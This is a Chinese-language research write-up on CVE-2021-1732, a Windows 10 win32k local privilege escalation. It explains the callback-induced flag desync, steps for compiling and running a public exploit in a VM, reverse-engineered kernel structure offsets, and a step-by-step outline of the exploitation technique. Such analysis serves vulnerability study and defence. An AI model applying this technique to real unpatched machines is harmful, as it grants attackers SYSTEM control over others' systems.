CVE-2021-1732 Windows10 本地提权漏洞复现及详细分析

robots

 

00 前言

CVE-2021-1732 是蔓灵花(BITTER)APT 组织在某次被披露的攻击行动中使用的 0day 漏洞,该高危漏洞可以在本地将普通用户进程的权限提升至最高的 SYSTEM 权限。受到该漏洞影响的 Windows 版本众多[1],原始利用代码经过少量修改后甚至可以在(当时的)最新版 Windows 10 20H2 64 位全补丁环境进行提权。漏洞的利用样本最早在 2020 年 12 月 10 号就被安恒威胁情报中心捕获到[2],在其与 MSRC 的通力合作下,今年 2 月初,MSRC 将漏洞修复。

目前在 github 上公布的可用 EXP 主要有两个版本,分别由 Kernel Killer[3] 和 KaLendsi[4] 编写,本文将使用前者的 EXP 来做分析和调试(Windows 版本为 Windows 10 Version 1809 for x64)。其本人也在看雪论坛发布了 EXP 开发的相关文章[5](与 github 仓库中的 pdf 内容相同),本文会对 EXP 作者文章的技术细节进行补充,并对 EXP 代码进行近乎逐行的分析、注释。

接下来,我会用最详尽的方式带你从零认知到完全理解 CVE-2021-1732。如果你正打算入门 Windows 内核,那么这篇文章将会给你提供一些静态分析及动态调试的技巧,如果你是这方面的老师傅,也欢迎对我说错的地方批评指正。总之,要是能在某些方面帮到你的话,就再好不过了。


01 漏洞综述

1.1 漏洞成因

用户态进程 p 在调用 CreateWindowEx 创建带有扩展内存的 Windows 窗口时,内核态图形驱动 win32kfull.sys 模块的 xxxCreateWindowEx 函数会通过 nt!KeUserModeCallback 回调机制调用用户态函数 user32!_xxxClientAllocWindowClassExtraBytes,其向内核返回用户态创建的窗口扩展内存。该返回值如何解释,由窗口对应 tagWND 结构体的 dwExtraFlag 字段规定。如果 dwExtraFlag 包含 0x800 属性,则返回值被视作相对内核桌面堆起始地址的偏移。攻击者可以 hook user32!_xxxClientAllocWindowClassExtraBytes 函数,通过一些手段使得 dwExtraFlag 包含 0x800 属性,然后直接调用 ntdll!NtCallbackReturn 向内核返回一个任意值。回调结束后,dwExtraFlag 不会被清除,未经校验的返回值直接被用于堆内存寻址(桌面堆起始地址 + 返回值),引发内存越界访问。随后攻击者通过一些巧妙的构造及 API 封装,获得内存越界读写能力,最后复制 system 进程的 Token 到进程 p 完成提权。

总的来说,漏洞是由 win32kfull!xxxCreateWindowEx 函数内一处由用户态回调导致的 flag 位设置与对应偏移设置不同步所导致的。

1.2 漏洞及攻击样本特点[2]

  • 攻击目标为最新版 Windows 10 操作系统
    • 1.在野样本攻击的是当时最新版 Windows10 1909 64 位操作系统(在野样本的编译时间为 2020 年 5 月)
    • 2.在野样本适配了从 Windows10 1709 到 Windows10 1909 多个版本,且会只在 Windows10 1709 及以上版本中运行利用代码
    • 3.原始利用代码经过少量修改后可在(当时的)最新版 Windows10 20H2 64 位全补丁环境进行提权
  • 漏洞质量高,利用手法精湛,稳定性好,动态检测难度大
    • 1.在野样本借助漏洞绕过了最新版 Windows 10 系统的内核地址空间布局随机化(KASLR)
    • 2.本次漏洞不同于以往的 Win32k 漏洞,漏洞类型不是 UAF,整个利用过程不涉及堆喷射和内存重用,Type Isolation 缓解机制对其无效。在野样本在打开 DriverVerifier 验证器的情况下依然可以正常提权,无法通过开启内核池追踪检测到,动态检测难度大
    • 3.在野样本的任意地址写入采用了漏洞特性结合 SetWindowLong 系列函数的手法,令人眼前一亮
    • 4.在野样本借助 GetMenuBarInfo 实现任意地址读取,这种手法此前未被公开过,这体现出开发者精湛的利用编写水平
    • 5.在野样本在构造出任意地址读写原语后,采用 DataOnlyAttack 的方式替换了当前进程的 Token,目前的内核缓解机制无法防御此类攻击
    • 6.在野样本的漏洞利用成功率几乎为 100%
    • 7.在野样本在完成利用后,将相关内核结构全部还原,整个过程不会对系统造成蓝屏影响,工作稳定
  • 使用谨慎,隐蔽性好
    • 1.在野样本在进行漏洞利用前对特定杀毒软件进行了检测
    • 2.在野样本对当前操作系统版本进行了判断,低于 Windows 10 1709 版本的系统不会调用漏洞利用函数
    • 3.在野样本从 2020 年 5 月完成编译,到 2020 年 12 月被发现,中间至少存活了 7 个月,这说明使用者在使用该漏洞时相当谨慎,间接体现出捕获此类隐蔽性样本的难度

1.3 受影响的系统版本

Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows 10 Version 1803 for x64-based Systems

1.4 漏洞利用效果

平台:Windows 10 Version 1809 for x64


02 漏洞复现

2.1 制作 Win10 1809 虚拟机

首先自然是需要一个 Win10 操作系统镜像,在 MSDN 工具站 上找到这个镜像并下载:

使用 VMware 创建一个新的虚拟机:

注册码不用填,选择一个要安装的版本,并另外注册一个非 admin 用户:

完成配置之前,需要注意,不论你的电脑配置有多好,请将处理器数和核心数都设置为 1,以排除多核复杂性对后面动态调试造成影响:

内存的话给个 2G 就行了,内存给得越大,快照的拍摄和还原就会越慢。之后就是等待 Win10 安装完毕。

2.2 编译 exp

使用 Visual Studio 2019 创建一个新项目,选择 Windows 桌面向导,下一步:

取个项目名 ExploitTest:

应用程序类型选择桌面应用程序,并勾选空项目:

从 Kernel Killer 的 Github 仓库[3] 获取 CVE-2021-1732_Exploit.cpp,在 VS 侧面的源文件处右击,添加一个现有项,选择刚下载的 CVE-2021-1732_Exploit.cpp:

这里切换成 Debug x64:

双击打开 CVE-2021-1732_Exploit.cpp,然后 项目 -> ExploitTest 属性,再次确认配置的是 Debug x64:

将 C/C++ -> 优化 -> 优化 设置为 禁用

将 C/C++ -> 代码生成 -> 运行库 设置为 多线程调试(MTd),将运行库静态链接到可执行文件中,否则在虚拟机中运行时可能会报找不到 dll 的错。

将 链接器 -> 调试 -> 生成调试信息 设置为 生成经过优化以共享和发布的调试信息(/DEBUG:FULL),这是为了后面用 ida 加载 pdb 时有符号。

将 链接器 -> 高级 -> 随机基址 设置为 否(/DYNAMICBASE:NO),固定基址 设置为 是(/FIXED),这是为了动调的时候方便下断点。

应用后选择上方的 生成 -> 生成解决方案,生成好后就能在项目所在的文件夹下看到一个 x64 文件夹:

进入其中的 Debug 文件夹,就能看到生成的 exe 和 pdb 了:

2.3 提权复现

将 ExploitTest.exe 拷贝到虚拟机中,再拷贝一个 64 位的 ProcessExplorer 到虚拟机桌面:

右键以管理员身份运行 ProcessExplorer,在上方空白处右键 -> Select Columns,勾选上 Integrity Level,这样就能看到进程的权限了:

拍摄快照(这里务必拍摄快照,方便之后回退)后,双击运行 ExploitTest.exe,查看进程权限:

在命令行界面按任意键让程序继续执行,再看进程权限,已提升为 system:

可能一次不能成功(也有可能直接蓝屏),这个时候恢复一下快照,再重新尝试运行即可。


03 漏洞原理分析

3.1 Windows 桌面程序编程

这个部分是为没有进行过/不太熟练 Windows 桌面应用开发的读者而写的,我会用尽可能少的篇幅来让读者快速上手桌面开发 API 以及一些相关的结构体。如果你已经知晓了结构体 WNDCLASSEX 的 cbWndExtra 字段的作用,以及其与 GetWindowLong/SetWindowLong 系列 API 配合的含义,那么你可以选择跳到下个部分去。

2.2 节 操作相同,使用 Visual Studio 2019 创建一个桌面应用程序的空项目,切换成 Debug x64,在左侧源文件处右击,添加一个新建项,命名为 main.cpp,将下面的代码复制进去:

#include <Windows.h>

/* 窗口类的窗口过程函数(负责消息处理) */
LRESULT CALLBACK MyWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) 
{
    switch (message)
    {
        case WM_RBUTTONDOWN:    // #define WM_RBUTTONDOWN 0x0204 - 代表鼠标右键按下
            MessageBox(hWnd, L"Right Button Down Detected", L"Message Arrival", MB_OK); // 简单弹个对话框
            break;
        default:
            return DefWindowProc(hWnd, message, wParam, lParam); // 对其他消息都使用默认方式处理
    }
    return 0;
}

/* 程序入口点 */
int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
    _In_opt_ HINSTANCE hPrevInstance,
    _In_ LPWSTR    lpCmdLine,
    _In_ int       nCmdShow)
{
    HWND hwnd;    // 创建窗口函数 CreateWindowEx 会返回一个窗口句柄,这里定义下,用来接收这个句柄
    MSG msg;      // 消息结构体,在消息循环的时候需要
    WNDCLASSEX wndclass = { 0 }; // 创建窗口类结构体

    /* 对窗口类的各属性进行初始化 */
    wndclass.cbSize = sizeof(WNDCLASSEX);     // 字段 cbSize 需要等于结构体 WNDCLASSEX 的大小
    wndclass.style = CS_HREDRAW | CS_VREDRAW; // 窗口类风格 - 窗口水平/竖直方向的长度变化时重绘整个窗口
    wndclass.lpfnWndProc = MyWndProc;         // 窗口消息处理函数 - 这里使用上面声明的 MyWndProc
    wndclass.hInstance = hInstance;           // 该窗口类的窗口消息处理函数所属的应用实例 - 这里就使用 hInstance
    wndclass.lpszClassName = L"TestWndClass"; // 窗口类名称

    /* 注册窗口类 */
    RegisterClassEx(&wndclass);

    /* 创建窗口 */
    hwnd = CreateWindowEx(
        NULL,                              // 扩展窗口风格
        L"TestWndClass",                   // 窗口类名
        L"Hello World",                    // 窗口标题
        WS_OVERLAPPEDWINDOW | WS_VISIBLE,  // 窗口风格
        CW_USEDEFAULT,                     // 窗口左上角 x 坐标 - 这里使用默认值
        CW_USEDEFAULT,                     // 窗口左上角 y 坐标 - 这里使用默认值
        CW_USEDEFAULT,                     // 窗口宽度 - 这里使用默认值
        CW_USEDEFAULT,                     // 窗口高度 - 这里使用默认值
        NULL,                              // 父窗口句柄
        NULL,                              // 菜单句柄
        hInstance,                         // 窗口句柄
        NULL                               // 该值会传递给窗口 WM_CREATE 消息的一个参数
    );

    /* 消息循环 */
    while (GetMessage(&msg, hwnd, NULL, 0))
    {
        TranslateMessage(&msg);   // 翻译消息
        DispatchMessage(&msg);    // 派发消息
    }
    return msg.wParam;
}

运行起来,你便得到了一个标题是 Hello World 的窗口:

在窗口中右键会弹出一个对话框:

我来解释一下这个程序是怎么工作的。首先,桌面应用对于程序员而言的入口点从常见的 main 变成了 WinMain(这里的 wWinMain 是 unicode 版 WinMain,表明程序中使用的字符为 unicode 编码)。其次,需要有个概念,那就是我们平常看到的应用程序窗口,都是某个窗口类的“实例”(注意,这里的类不是 C++ 类的概念),Windows 使用一个结构体来管理 行为/风格 相似一类窗口,其定义[6]如下:

typedef struct tagWNDCLASSEXW {
    UINT        cbSize;        // 该结构体的大小,通过这个字段来区分桌面开发的新旧版本
    /* Win 3.x */
    UINT        style;         // 窗口类的风格
    WNDPROC     lpfnWndProc;   // 窗口的消息处理函数
    int         cbClsExtra;    // 窗口类的扩展内存大小
    int         cbWndExtra;    // 窗口的扩展内存大小
    HINSTANCE   hInstance;     // 该窗口类的窗口消息处理函数所属的应用实例
    HICON       hIcon;         // 该窗口类所用的图标
    HCURSOR     hCursor;       // 该窗口类所用的光标
    HBRUSH      hbrBackground; // 该窗口类所用的背景刷
    LPCWSTR     lpszMenuName;  // 该窗口类所用的菜单资源
    LPCWSTR     lpszClassName; // 该窗口类的名称
    /* Win 4.0 */
    HICON       hIconSm;       // 该窗口类所用的小像标
} WNDCLASSEXW;

从窗口类的定义可以看出,它包含了一个窗口的重要信息,如窗口风格、窗口过程、显示和绘制窗口所需要的信息,等等。可以使用 VS 自带的工具 Microsoft spy++ 来实际感知窗口类的存在,比如计算器对应的窗口类是 Windows.UI.Core.CoreWindow:

所以想要创建一个窗口 “实例”,需要先向系统注册一个窗口类,这就是为什么开始的代码要这样写:

WNDCLASSEX wndclass = { 0 }; // 创建窗口类结构体

/* 对窗口类的各属性进行初始化 */
wndclass.cbSize = sizeof(WNDCLASSEX);     // 字段 cbSize 需要等于结构体 WNDCLASSEX 的大小
wndclass.style = CS_HREDRAW | CS_VREDRAW; // 窗口类风格 - 窗口水平/竖直方向的长度变化时重绘整个窗口
wndclass.lpfnWndProc = MyWndProc;         // 窗口消息处理函数 - 这里使用上面声明的 MyWndProc
wndclass.hInstance = hInstance;           // 该窗口类的窗口消息处理函数所属的应用实例 - 这里就使用 hInstance
wndclass.lpszClassName = L"TestWndClass"; // 窗口类名称

/* 注册窗口类 */
RegisterClassEx(&wndclass);

现在我们就能用这个窗口类来创建看得见、摸得着的窗口了。创建窗口使用 CreateWindowEx[7] 函数,通过下面的代码,我们就能成功创建一个可见的窗口并得到它的窗口句柄:

/* 创建窗口 */
hwnd = CreateWindowEx(
    NULL,                              // 扩展窗口风格
    L"TestWndClass",                   // 窗口类名
    L"Hello World",                    // 窗口标题
    WS_OVERLAPPEDWINDOW | WS_VISIBLE,  // 窗口风格
    CW_USEDEFAULT,                     // 窗口左上角 x 坐标 - 这里使用默认值
    CW_USEDEFAULT,                     // 窗口左上角 y 坐标 - 这里使用默认值
    CW_USEDEFAULT,                     // 窗口宽度 - 这里使用默认值
    CW_USEDEFAULT,                     // 窗口高度 - 这里使用默认值
    NULL,                              // 父窗口句柄
    NULL,                              // 菜单句柄
    hInstance,                         // 窗口句柄
    NULL                               // 该值会传递给窗口 WM_CREATE 消息的一个参数
);

创建了窗口后,如果后面什么代码都不写,那程序就直接退出,创建的窗口也立马被销毁了,这个不能交互的桌面应用对用户来说毫无意义。为了给创建出的窗口注入灵魂,最后往往会加一个 while 主消息循环:

/* 消息循环 */
while (GetMessage(&msg, hwnd, NULL, 0))
{
    TranslateMessage(&msg);   // 翻译消息
    DispatchMessage(&msg);    // 派发消息
}

我们常常能听到一些名词,如事件驱动、Windows 消息处理机制等,这些概念集中体现在上面这个 while 循环中。为什么在窗口中右键,会弹出一个对话框?那是因为鼠标右键按下被视作了一个事件,当这个事件在窗口中发生时,系统会去调用窗口所属窗口类的 WNDCLASSEX.lpfnWndProc 回调函数来响应,这个函数中写了弹出对话框的代码,因此才会有这样的效果。

那么问题来了,为什么我按鼠标左键它不会弹出对话框?照你这个说法,鼠标左键按下也是一个事件,系统不也会调用同一个回调 WNDCLASSEX.lpfnWndProc,那行为应该相同(即弹出对话框)才对啊?诚然,不论是左键还是右键按下,该窗口的 WNDCLASSEX.lpfnWndProc 都会被调用,而结果我们也清楚 —— 只有右键按下才会弹出对话框,这个函数是怎么做到区分左/右键按下的呢?

事实上,操作系统会把每个到来的事件包装成一个消息结构体(MSG 结构体,不是本文关注点,这里就不列出它的各个字段了),这个结构体记录了事件发生在哪个窗口(窗口句柄)、事件对应的消息编号(每种事件都对应了一个唯一的编号)、事件发生时所处的坐标等。系统将这个 MSG 结构体放入线程的消息队列,当线程调用 GetMessage 时,就能从队列中取出这个结构体,再通过 DispatchMessage 根据 MSG 结构体中的窗口句柄,向对应窗口递送该消息(具体体现就是调用那个窗口的 lpfnWndProc)。TranslateMessage 函数用于做一些虚拟键消息转换,与我们所说的内容关系不大,可以忽略掉这个函数。

现在就可以解释为什么按下左键没有弹出对话框了,来看本例代码中的窗口过程函数:

/* 窗口类的窗口过程函数(负责消息处理) */
LRESULT CALLBACK MyWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) 
{
    switch (message)
    {
        case WM_RBUTTONDOWN:    // #define WM_RBUTTONDOWN 0x0204 - 代表鼠标右键按下
            MessageBox(hWnd, L"Right Button Down Detected", L"Message Arrival", MB_OK); // 简单弹个对话框
            break;
        default:
            return DefWindowProc(hWnd, message, wParam, lParam); // 对其他消息都使用默认方式处理
    }
    return 0;
}

左键按下和右键按下是不同的事件,它们的消息编号不同,所以当回调 MyWndProc 先后被调用时,参数 message 的值就不同(分别是 WM_LBUTTONDOWN 和 WM_RBUTTONDOWN)。在函数实现中,通过一个 switch 语句来判断消息的类型,针对不同的消息,采取不同的相应措施。比如上面的代码,我们判断当消息是右键按下时就弹个对话框,其他的消息使用默认方式处理(这种窗口中左键按下的默认处理方式就是什么也不做)。

有了上面的基本概念后,我们来拓展聊聊 WNDCLASSEX 结构体的 cbClsExtra 和 cbWndExtra 字段,之前注释里也写了,它们分别表示窗口类的扩展内存大小和窗口的扩展内存大小,那扩展内存有什么用?二者又有什么区别呢?

先说说什么是窗口类的扩展内存。在应用程序注册一个窗口类时,可以让系统分配一定大小的内存空间,作为该窗口类的扩展内存,之后属于该窗口类的每个窗口都共享这片内存区域,每个窗口都可以通过 Windows 提供的 API 来读写这片扩展内存,如 GetClassLong、GetClassLongPtr、SetClassLong、SetClassLongPtr 等(Ptr 后缀是为了兼容 32 和 64 位),以此实现同窗口类的窗口间通信,而 cbClsExtra 字段就记录了这片内存的大小。

同理,当窗口创建时,可以让系统分配一定大小的内存空间,作为该窗口的扩展内存,这就是窗口的扩展内存。这片内存每个窗口独享,也可以通过 API 来读写(GetWindowLong、GetWindowLongPtr、SetWindowLong、SetWindowLongPtr),该机制提供了一种窗口数据暂存的方式,这片内存的大小由 cbWndExtra 字段记录。

还是通过一个实例来感受 cbWndExtra 字段的意义:

#include <Windows.h>

/* 窗口类的窗口过程函数(负责消息处理) */
LRESULT CALLBACK MyWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    /* 通过 GetWindowLongPtr 获取偏移为 0 和 8 的两个 long long 的值 */
    LONG_PTR A = GetWindowLongPtr(hWnd, 0);
    LONG_PTR B = GetWindowLongPtr(hWnd, 8);
    wchar_t* content = new wchar_t[20];

    switch (message)
    {
    case WM_LBUTTONDOWN:  // 左键按下时,输出 A 的值
        wsprintf(content, L"%p", A);
        MessageBox(hWnd, content, L"Left Button Down", MB_OK);
        break;
    case WM_RBUTTONDOWN:  // 右键按下时,输出 B 的值
        wsprintf(content, L"%p", B);
        MessageBox(hWnd, content, L"Right Button Down", MB_OK);
        break;
    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    }
    return 0;
}

/* 程序入口点 */
int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
    _In_opt_ HINSTANCE hPrevInstance,
    _In_ LPWSTR    lpCmdLine,
    _In_ int       nCmdShow)
{
    HWND hwnd;
    MSG msg;
    WNDCLASSEX wndclass = { 0 };

    wndclass.cbSize = sizeof(WNDCLASSEX);
    wndclass.style = CS_HREDRAW | CS_VREDRAW;
    wndclass.lpfnWndProc = MyWndProc;
    wndclass.hInstance = hInstance;
    wndclass.lpszClassName = L"TestWndClass";
    /* 使用 cbWndExtra 字段,设置扩展内存大小为两个 long long */
    wndclass.cbWndExtra = 2 * sizeof(long long);

    RegisterClassEx(&wndclass);

    hwnd = CreateWindowEx(
        NULL, L"TestWndClass", L"Hello World",
        WS_OVERLAPPEDWINDOW | WS_VISIBLE,
        CW_USEDEFAULT, CW_USEDEFAULT,
        CW_USEDEFAULT, CW_USEDEFAULT,
        NULL, NULL, hInstance, NULL
    );

    /* 通过 SetWindowLongPtr 设置偏移为 0 和 8 的两个 long long 的值 */
    SetWindowLongPtr(hwnd, 0, 0xAAAAAAAAAAAAAAAA);
    SetWindowLongPtr(hwnd, 8, 0xBBBBBBBBBBBBBBBB);

    while (GetMessage(&msg, hwnd, NULL, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return msg.wParam;
}

运行起来,按下左键:

按下右键:

好了,关于 Windows 桌面编程就先聊到这儿吧,花了不少的篇幅来引出 cbWndExtra 字段,是因为该字段不为 0(窗口具有扩展内存)正是 CVE-2021-1732 漏洞利用的导火索。

3.2 tagWND 结构体

与每个窗口类对应一个结构体类似,Windows 使用 tagWND 结构体来描述每个窗口,这个结构体在加载了官方 pdb 文件的 Win7 win32k.sys 模块可以找到[8]。可能是由于泄露了太多对开发者无用的内核符号,导致 win32k 被五花八门的漏洞利用手段玩坏了,Win7 往后,微软去掉了 pdb 文件中很多内核符号,其中就包括 tagWND。所以目前,我们只能通过参考 Win7 及以前的符号,并结合 API 逆向分析来推测 Win10 中 tagWND 各字段的含义。

值得庆幸的是,已经有人在这方面做了很多工作了。在前辈们的经验总结下[8][9][10],我们可以得知,在 Win10 中,对于每个窗口,系统为用户层和内核层各维护了一个 tagWND 结构体,用户层的 &tagWND + 0x28 处的 8 字节为一个指针,指向内核层 tagWND 结构体。后文将使用 tagWND/tagWNDk 来表示 用户层/内核层 tagWND 结构体,ptagWND/ptagWNDk 来表示 用户层/内核层 tagWND 结构体指针。

下面列出 tagWND 结构体中与漏洞相关的字段(一个 “Tab 缩进 + 偏移量”表示一次父级的值加偏移后访存):

ptagWND(user layer)
    0x10 unknown
        0x00 pTEB
            0x220 pEPROCESS(of current process)
    0x18 unknown
        0x80 kernel desktop heap base
    0x28 ptagWNDk(kernel layer)
        0x00 hwnd
        0x08 kernel desktop heap base offset
        0x18 dwStyle
        0x58 Window Rect left
        0x5C Window Rect top
        0x98 spMenu(uninitialized)
        0xC8 cbWndExtra
        0xE8 dwExtraFlag
        0x128 pExtraBytes
    0x90 spMenu(analyzed by myself)
        0x00 hMenu
        0x18 unknown0
            0x100 unknown
                0x00 pEPROCESS(of current process)
        0x28 unknown1
            0x2C cItems(for check)
        0x40 unknown2(for check)
        0x44 unknown3(for check)
        0x50 ptagWND
        0x58 rgItems
            0x00 unknown(for exploit)
        0x98 spMenuk
            0x00 pSelf

后面的分析在用到 tagWND 时,可以翻回这个部分进行查阅。

3.3 以结果为导向

本 CVE 的 POC 所达到的效果,就是可以在用户态调用 SetWindowLong 来造成一次内核桌面堆的越界写。SetWindowLong 实际调用 user32!SetWindowLongW,其中又调用了 win32u!NtUserSetWindowLong:

之后通过系统调用进入内核态,调用 win32kfull!NtUserSetWindowLong,并最终调用 win32kfull!xxxSetWindowLong,传入根据窗口句柄找到的 tagWND 结构体地址(ptagWND)、写入的扩展内存的偏移(nIndex)、要写入的值(value):

调用栈我也贴在这里:

进入 xxxSetWindowLong 后,在 59 行获得了内核 tagWND 结构体指针:

从 117 行可以看出 nIndex 的值必须小于 ptagWNDk->cbWndExtra(窗口扩展内存大小,该值在注册窗口类时指定):

由 157、158、162 行可知当 ptagWNDk->dwExtraFlag & 0x800 != 0 时,内核桌面堆起始地址 + pExtraBytes + nIndex 处的 4 字节会被赋值成 value:

POC 就是通过控制 pExtraBytes 为任意值来实现桌面堆越界写的。从上图的 160 行也可以看出,当 ptagWNDk->dwExtraFlag & 0x800 == 0 时,pExtraBytes 就解释为一个可写内存的地址,直接通过 pExtraBytes + nIndex 来寻址。

故我们发现,tagWNDk 实际上使用两种模式来保存窗口扩展内存的地址

  • 1.dwExtraFlag & 0x800 == 0:在用户空间系统堆中,pExtraBytes 解释为扩展内存用户空间堆中的地址指针
  • 2.dwExtraFlag & 0x800 != 0:在内核空间桌面堆中,pExtraBytes 解释为该扩展内存起始地址相对于内核桌面堆基址的偏移量

下一部分就将介绍正常情况下两种模式对应的 pExtraBytes 是如何被赋值的。

3.4 两种模式下 pExtraBytes 正常赋值流程

3.4.1 模式 1 – 在用户空间系统堆中(直接寻址模式)

该模式下,tagWNDk.pExtraBytes 在调用 CreateWindowEx 创建窗口的过程中被赋值。前半部分的调用链没有什么信息量:

[用户态]
- CreateWindowEx 实际调用 user32!CreateWindowExW
- user32!CreateWindowExW 调用 user32!CreateWindowInternal
- user32!CreateWindowInternal 中调用 user32!VerNtUserCreateWindowEx
- user32!VerNtUserCreateWindowEx 中调用 win32u!NtUserCreateWindowEx
- win32u!NtUserCreateWindowEx 中通过系统调用进入内核态,调用 win32kfull!NtUserCreateWindowEx
[内核态]
- win32kfull!NtUserCreateWindowEx 中调用 win32kfull!xxxCreateWindowEx

调用栈:

xxxCreateWindowEx 506 行调用 win32kbase!HMAllocObject 创建了一个 tagWND 结构体并返回其指针:

521 行设置 ptagWNDk->pExtraBytes 初值为 0(*(ptagWND + 0x28) 为 ptagWNDk):

从 821、822 行可以看出,当 ptagWNDk->cbWndExtra 不为 0 时,会调用 win32kfull!xxxClientAllocWindowClassExtraBytes 来设置 ptagWNDk->pExtraBytes:

821 行的不等号重载(0xA1 – 0x79 = 0x28):

win32kfull!xxxClientAllocWindowClassExtraBytes 实现:

阅读代码后,不难发现:

  • 22 行:通过 nt!KeUserModeCallback[11] 回调记录在 PEB.KernelCallbackTable 表中第 123 项 的用户层函数,该项是 user32!_xxxClientAllocWindowClassExtraBytes 函数的指针
  • 26 行:user32!_xxxClientAllocWindowClassExtraBytes 返回信息的长度应该为 0x18 字节
  • 29 行:存储返回信息的地址需小于 MmUserProbeAddress(0x7fffffff0000)
  • 31 行:返回信息的第一个指针类型指向在用户态申请的用户堆空间
  • 34 行:调用 ProbeForRead 验证申请的用户堆地址 + 长度是否小于 MmUserProbeAddress(0x7fffffff0000)
  • 32、35 行:xxxClientAllocWindowClassExtraBytes 返回用户堆空间地址

user32!_xxxClientAllocWindowClassExtraBytes 函数:

该回调函数所做的事情就是调用 ntdll!RtlAllocateHeap 申请 cbWndExtra 大小的用户堆空间,并将申请到的堆地址作为返回信息的第一个 8 字节,调用 ntdll!NtCallbackReturn 修正堆栈后重新返回内核层执行

win32kfull!xxxClientAllocWindowClassExtraBytes 返回后,ptagWNDk->pExtraBytes 就会被赋值为申请到的用户空间堆地址:

以上过程用 iamelli0t 博客[12]的一张图来总结:

3.4.2 模式 2 – 在系统空间桌面堆中(offset 间接寻址模式)

在该模式下想要赋值 pExtraBytes,须在用户态调用未公开的 user32!ConsoleControl(或 win32u!NtUserConsoleControl),调用栈:

win32kfull!NtUserConsoleControl 函数:

由上图可知,要想调用 xxxConsoleControl,需满足:

  • 14 行:第一个参数(功能号)不大于 6
  • 16 行:第三个参数(参数信息的长度)不大于 0x18

win32kfull!xxxConsoleControl 根据传入的功能号进行不同的操作,一共有 6 种功能(功能号为 1 – 6),第 6 个功能才会赋值 pExtraBytes

由上图分析可得,功能 6 调用 DesktopAlloc 在内核空间桌面堆中分配窗口扩展内存,计算已分配的扩展内存地址到内核桌面堆基址的偏移量,并将偏移量保存到 tagWNDk.pExtraBytes,最后修改 tagWNDk.dwExtraFlag |= 0x800

3.5 POC 攻击手法及难点解决

经过上面的分析我们已经知道:

  • 1.使用 CreateWindowEx 创建窗口的过程中内核会回调用户层函数 user32!_xxxClientAllocWindowClassExtraBytes,由它代为申请用户空间堆,内核用这个地址赋值 pExtraBytes 后,并未重新设置 dwExtraFlagtagWNDk.dwExtraFlag &= ~0x800
  • 2.使用 user32!ConsoleControl 的第 6 个功能,除了能赋值 pExtraBytes,还能设置 tagWNDk.dwExtraFlag |= 0x800
  • 3.调用 SetWindowLong 写窗口扩展内存时,如果 dwExtraFlag & 0x800 != 0,则使用 offset 间接寻址方式写桌面堆

在 POC 中,攻击者对 user32!_xxxClientAllocWindowClassExtraBytes 进行挂钩,在钩子函数中手动调用 win32u!NtUserConsoleControl,将 pExtraBytes 的解释方式从模式 1 修改为模式 2,然后调用 ntdll!NtCallbackReturn 向内核返回一个能过读写检查的可控值,用于设置 tagWNDk.pExtraBytes。最后调用 SetWindowLong 写附加空间时,就能实现基于内核空间桌面堆基址的可控偏移量越界写。

还是借用 iamelli0t[12] 的图来直观感受:

设想是美好的,实践起来还会遇到细节上的问题 —— 上个部分所提到的 win32kfull!xxxConsoleControl 功能 6 需要传入窗口句柄

可攻击需要在 CreateWindowEx 过程里调用 user32!ConsoleControl,此时 CreateWindowEx 还没有返回窗口句柄 HWND,这就需要我们来分析 CreateWindowEx 是怎么创建的窗口句柄。其实在 3.4.1 节 我提了一下 xxxCreateWindowEx 506 行调用 win32kbase!HMAllocObject 创建了一个 tagWND 结构体并返回其指针:

窗口句柄就是在这个函数中创建并赋值到 tagWND 结构体中的,该函数首先通过 DesktopAlloc 从内核桌面堆申请存储 tagWNDk 的空间:

然后选出一个窗口句柄[13]并存储到 &tagWNDk + 0

此外,结合上两张图可以发现 &tagWNDk + 8 保存了 tagWNDk 相对于桌面堆基址的偏移

幸运的是, user32!_xxxClientAllocWindowClassExtraBytes 之前,win32kbase!HMAllocObject 就已经在 win32kfull!xxxCreateWindowEx 中被调用了,我们要是能把创建的窗口句柄泄露出来就可以补全 POC 链了,问题就转化为如何泄露 tagWNDk 的内容

这就不得不提起 Windows 内核利用领域使用了 10 年的一项技术 —— 通过未公开函数 user32!HMValidateHandle 泄露内核信息[14],只要把窗口句柄传递给这个函数,它就会返回 tagWNDk 在用户空间的只读映射指针(HMAllocObject 创建了桌面堆类型句柄后,会把tagWNDk 对象放入到内核模式到用户模式的映射内存中)。此外,HMValidateHandle 函数的地址可以由 user32!IsMenu 的第一个 call 计算[14]。

那么泄露窗口句柄的难点就迎刃而解了,直接来看完整的 POC 思路:

  • 1.将 PEB.KernelCallbackTable 的第 123 项替换成自定义挂钩函数的指针
  • 2.创建一些窗口(都属于窗口类 1),并通过 user32!HMValidateHandle 泄露这些窗口对应 tagWNDk 在用户空间的地址
  • 3.销毁在步骤 2 中创建的部分窗口,使得桌面堆能回收这些窗口对象所占用的空间。再使用与窗口类 1 cbWndExtra 不同的窗口类 2 创建一个新窗口,这个新窗口的 tagWNDk 对象可能会使用之前释放掉的空间。因此,通过在自定义挂钩函数中使用窗口类 2 的 cbWndExtra 搜索先前泄露的 tagWNDk 对象用户空间地址,便可以找到新窗口的 tagWNDk 在用户空间的地址,读取第一个 8 字节即可泄露窗口句柄。
  • 4.在自定义挂钩函数中调用 user32!ConsoleControl 来修改新窗口 tagWNDk.dwExtraFlag |= 0x800
  • 5.在自定义挂钩函数中调用 ntdll!NtCallbackReturn 将可控的虚假偏移量分配给新窗口的 tagWNDk.pExtraBytes
